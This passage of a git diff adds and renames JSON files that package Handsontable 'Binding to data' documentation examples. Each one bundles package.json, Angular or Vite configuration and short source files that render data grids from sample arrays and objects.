\"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example6-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [];\n readonly gridSettings: GridSettings = {\n dataSchema: {\n id: null,\n name: {\n first: null,\n last: null,\n },\n address: null,\n },\n startRows: 5,\n startCols: 4,\n colHeaders: ['ID', 'First Name', 'Last Name', 'Address'],\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 'id' },\n { data: 'name.first' },\n { data: 'name.last' },\n { data: 'address' },\n ],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example6.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example6","exampleTitle":"Array of objects with custom data schema","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example7.ts.json new file mode 100644 index 00000000..fdabb9d0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example7.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Getting Started ▸ Binding to data · Function data source and schema · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component, Type } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\nimport Handsontable from 'handsontable/base';\n\ninterface Person {\n id: number | undefined;\n name: string | undefined;\n address: string | undefined;\n attr: (attr: string, val?: Handsontable.CellValue) => keyof Person | Person;\n}\n\ninterface ModelOptions {\n [x: string]: any;\n id?: number;\n name?: string;\n address?: string;\n hasOwnProperty?: (prop: string) => boolean;\n}\n\ntype PrivPerson = {\n [K in keyof Person]: Person[K];\n} & { [key: string]: any };\n\nfunction model(opts: ModelOptions): Partial {\n const _pub: Partial = {\n id: undefined,\n name: undefined,\n address: undefined,\n attr: undefined,\n };\n\n const _priv: Partial = {};\n\n for (const i in opts) {\n if (opts.hasOwnProperty && opts.hasOwnProperty(i)) {\n _priv[i] = opts[i];\n }\n }\n\n _pub.attr = function (\n attr: keyof Person | string,\n val?: Handsontable.CellValue\n ) {\n if (typeof val === 'undefined') {\n window.console && console.log('GET the', attr, 'value of', _pub);\n\n return _priv[attr];\n }\n\n window.console && console.log('SET the', attr, 'value of', _pub);\n _priv[attr] = val;\n\n return _pub;\n };\n\n return _pub;\n}\n\nfunction property(attr: keyof Person | string) {\n return (row: Handsontable.RowObject | Handsontable.CellValue[], value?: Handsontable.CellValue) =>\n (row as unknown as Person).attr(attr, value);\n}\n\n@Component({\n selector: 'example7-binding-data',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`,\n})\nexport class AppComponent {\n\n readonly data = [\n model({ id: 1, name: 'Ted Right', address: '' }),\n model({ id: 2, name: 'Frank Honest', address: '' }),\n model({ id: 3, name: 'Joan Well', address: '' }),\n model({ id: 4, name: 'Gail Polite', address: '' }),\n model({ id: 5, name: 'Michael Fair', address: '' }),\n ];\n\n readonly gridSettings: GridSettings = {\n dataSchema: model,\n height: 'auto',\n width: 'auto',\n colHeaders: ['ID', 'Name', 'Address'],\n columns: [\n { data: property('id') },\n { data: property('name') },\n { data: property('address') },\n ],\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/getting-started/binding-to-data/angular/example7.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example7","exampleTitle":"Function data source and schema","docPermalink":"/binding-to-data","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example9.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example9.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__angular__example9.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__angular__example9.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example1.js.json new file mode 100644 index 00000000..0063615c --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example1.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1');\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 110, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n startRows: 5,\n startCols: 5,\n height: 'auto',\n width: 'auto',\n colHeaders: true,\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example1.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example1.ts.json new file mode 100644 index 00000000..8dac5777 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example1.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 110, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n startRows: 5,\n startCols: 5,\n height: 'auto',\n width: 'auto',\n colHeaders: true,\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example1.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example10.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example10.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example10.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example10.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example10.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example10.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example10.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example10.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example11.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example11.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example11.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example11.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example11.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example11.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__getting-started__binding-to-data__javascript__example11.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example11.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example2.js.json new file mode 100644 index 00000000..62d6c31f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example2.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst data = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n minSpareRows: 1,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 0 },\n // skip the second column\n { data: 2 },\n { data: 3 },\n { data: 4 },\n { data: 5 },\n { data: 6 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example2.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example2.ts.json new file mode 100644 index 00000000..6388ead5 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example2.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of arrays with a selective display of columns · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\nconst data: (string | number)[][] = [\n ['', 'Tesla', 'Nissan', 'Toyota', 'Honda', 'Mazda', 'Ford'],\n ['2017', 10, 11, 12, 13, 15, 16],\n ['2018', 10, 11, 12, 13, 15, 16],\n ['2019', 10, 11, 12, 13, 15, 16],\n ['2020', 10, 11, 12, 13, 15, 16],\n ['2021', 10, 11, 12, 13, 15, 16],\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n minSpareRows: 1,\n height: 'auto',\n width: 'auto',\n columns: [\n { data: 0 },\n // skip the second column\n { data: 2 },\n { data: 3 },\n { data: 4 },\n { data: 5 },\n { data: 6 },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example2.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example2","exampleTitle":"Array of arrays with a selective display of columns","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example3.js.json new file mode 100644 index 00000000..b96f602e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\nconst data = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example3.js","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example3.ts.json new file mode 100644 index 00000000..f4afa8b7 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Getting Started ▸ Binding to data · Array of objects · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\ninterface Person {\n id: number;\n name: string;\n address: string;\n}\n\nconst data: Person[] = [\n { id: 1, name: 'Ted Right', address: '' },\n { id: 2, name: 'Frank Honest', address: '' },\n { id: 3, name: 'Joan Well', address: '' },\n { id: 4, name: 'Gail Polite', address: '' },\n { id: 5, name: 'Michael Fair', address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example3.ts","breadcrumb":["Getting Started","Binding to data"],"guide":"guides/getting-started/binding-to-data/binding-to-data.md","guideTitle":"Binding to data","exampleId":"example3","exampleTitle":"Array of objects","docPermalink":"/binding-to-data","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example4.js.json new file mode 100644 index 00000000..947304c6 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__getting-started__binding-to-data__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Getting Started ▸ Binding to data · Array of objects with column as a function · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst data = [\n { id: 1, name: { first: 'Ted', last: 'Right' }, address: '' },\n { id: 2, address: '' },\n { id: 3, name: { first: 'Joan', last: 'Well' }, address: '' },\n];\n\nnew Handsontable(container, {\n data,\n colHeaders: true,\n height: 'auto',\n width: 'auto',\n columns(column) {\n switch (column) {\n case 0:\n return { data: 'id' };\n case 1:\n return { data: 'name.first' };\n case 2:\n return { data: 'name.last' };\n case 3:\n return { data: 'address' };\n default:\n return {};\n }\n },\n minSpareRows: 1,\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/getting-started/binding-to-data/javascript/example4.js","breadcrumb":["Getting 